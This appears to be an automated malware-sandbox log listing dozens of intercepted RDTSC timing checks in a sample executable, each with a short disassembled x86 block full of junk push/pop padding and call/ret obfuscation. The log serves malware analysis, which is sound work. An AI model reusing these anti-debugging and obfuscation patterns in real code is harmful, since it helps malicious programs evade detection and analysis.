Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68C4C second address: F68C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FEC84DC6BC6h 0x00000009 js 00007FEC84DC6BC6h 0x0000000f popad 0x00000010 ja 00007FEC84DC6BCCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68C64 second address: F68C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC84B62E13h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B69B second address: F6B6BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FEC84DC6BD0h 0x00000013 jmp 00007FEC84DC6BCAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B6BE second address: F6B6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84B62E14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B6D6 second address: F6B738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jng 00007FEC84DC6BCAh 0x00000015 pop eax 0x00000016 mov ecx, 7B48E781h 0x0000001b pushad 0x0000001c clc 0x0000001d mov ecx, edx 0x0000001f popad 0x00000020 lea ebx, dword ptr [ebp+1244F475h] 0x00000026 jl 00007FEC84DC6BC6h 0x0000002c xchg eax, ebx 0x0000002d push ecx 0x0000002e pushad 0x0000002f jmp 00007FEC84DC6BCEh 0x00000034 jnc 00007FEC84DC6BC6h 0x0000003a popad 0x0000003b pop ecx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 js 00007FEC84DC6BC6h 0x00000046 ja 00007FEC84DC6BC6h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B7A4 second address: F6B7AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B7AB second address: F6B823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 349AB7BDh 0x0000000e mov dword ptr [ebp+122D3169h], ecx 0x00000014 push ecx 0x00000015 call 00007FEC84DC6BD3h 0x0000001a jmp 00007FEC84DC6BCFh 0x0000001f pop edi 0x00000020 pop edi 0x00000021 push 00000003h 0x00000023 stc 0x00000024 mov esi, 5EC5628Ah 0x00000029 push 00000000h 0x0000002b mov edx, dword ptr [ebp+122D29F1h] 0x00000031 push 00000003h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FEC84DC6BC8h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d pushad 0x0000004e mov edi, esi 0x00000050 popad 0x00000051 push 7C1BD390h 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B823 second address: F6B827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B827 second address: F6B82B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B82B second address: F6B831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B831 second address: F6B874 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC84DC6BC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 43E42C70h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FEC84DC6BC8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d or dword ptr [ebp+122D1C14h], esi 0x00000033 lea ebx, dword ptr [ebp+1244F47Eh] 0x00000039 mov edi, esi 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B874 second address: F6B879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B549 second address: F8B54F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B54F second address: F8B570 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC84B62E06h 0x00000008 jmp 00007FEC84B62E14h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B6D8 second address: F8B6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B876 second address: F8B893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E18h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B893 second address: F8B899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BE10 second address: F8BE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BE16 second address: F8BE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C3F6 second address: F8C409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CCBA second address: F8CCC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFC0 second address: F8CFD1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFD1 second address: F8CFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CFD8 second address: F8CFE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91264 second address: F91270 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913B9 second address: F913BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913BF second address: F913C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913C3 second address: F913C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913C7 second address: F913D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FEC84DC6BC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913D9 second address: F91428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FEC84B62E0Ch 0x0000000f jc 00007FEC84B62E06h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jne 00007FEC84B62E0Eh 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 pushad 0x00000024 jmp 00007FEC84B62E11h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91428 second address: F91438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91438 second address: F91442 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90329 second address: F90338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FEC84DC6BC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F946E5 second address: F946F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC84B62E06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F576CB second address: F576D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AAF1 second address: F9AB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEC84B62E06h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB03 second address: F9AB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEC84DC6BC6h 0x0000000a jmp 00007FEC84DC6BD7h 0x0000000f popad 0x00000010 jo 00007FEC84DC6BCCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99F8C second address: F99F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FEC84B62E06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99F9F second address: F99FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FA3 second address: F99FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jnp 00007FEC84B62E12h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A0D9 second address: F9A0DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A0DD second address: F9A0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEC84B62E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A0EC second address: F9A0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEC84DC6BC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A25C second address: F9A276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FEC84B62E0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A276 second address: F9A27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A3BE second address: F9A3CF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A681 second address: F9A69F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A69F second address: F9A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E13h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A6B6 second address: F9A6E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FEC84DC6BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FEC84DC6BD4h 0x00000017 pop edi 0x00000018 jnl 00007FEC84DC6BCCh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A6E9 second address: F9A6F8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC84B62E0Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A6F8 second address: F9A6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A831 second address: F9A84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnp 00007FEC84B62E06h 0x00000013 pushad 0x00000014 popad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CE73 second address: F9CE79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CE79 second address: F9CE87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84B62E0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CE87 second address: F9CE8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D10F second address: F9D113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D113 second address: F9D119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D119 second address: F9D11E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9E2 second address: F9D9F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9F2 second address: F9D9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA9F second address: F9DAA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC78 second address: F9DC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E12F second address: F9E133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E133 second address: F9E1A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FEC84B62E08h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b movsx esi, di 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FEC84B62E08h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D293Eh] 0x00000050 push eax 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 jns 00007FEC84B62E06h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0DDB second address: FA0DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1CD6 second address: FA1CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2701 second address: FA2711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1CDC second address: FA1CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FEC84B62E06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2711 second address: FA2715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1CF0 second address: FA1D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1D02 second address: FA1D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA410C second address: FA4175 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FEC84B62E08h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 add edi, dword ptr [ebp+122D3AABh] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007FEC84B62E08h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D3897h] 0x0000004b push 00000000h 0x0000004d jno 00007FEC84B62E0Bh 0x00000053 xchg eax, ebx 0x00000054 pushad 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA5FE6 second address: FA6001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEC84DC6BD2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA64B5 second address: FA6513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FEC84B62E14h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3709h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FEC84B62E08h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+12477519h], eax 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007FEC84B62E0Ch 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6513 second address: FA6535 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEC84DC6BD2h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d je 00007FEC84DC6BCCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA94BA second address: FA94BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD2D4 second address: FAD334 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC84DC6BCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FEC84DC6BC8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+122D3743h] 0x0000002d push 00000000h 0x0000002f or edi, 4EDA89E1h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 and ebx, 5912A85Dh 0x0000003e pop edi 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FEC84DC6BCFh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD334 second address: FAD33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD526 second address: FAD52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD52D second address: FAD537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FEC84B62E06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2CFE second address: FB2D08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC84DC6BCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE728 second address: FAE72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
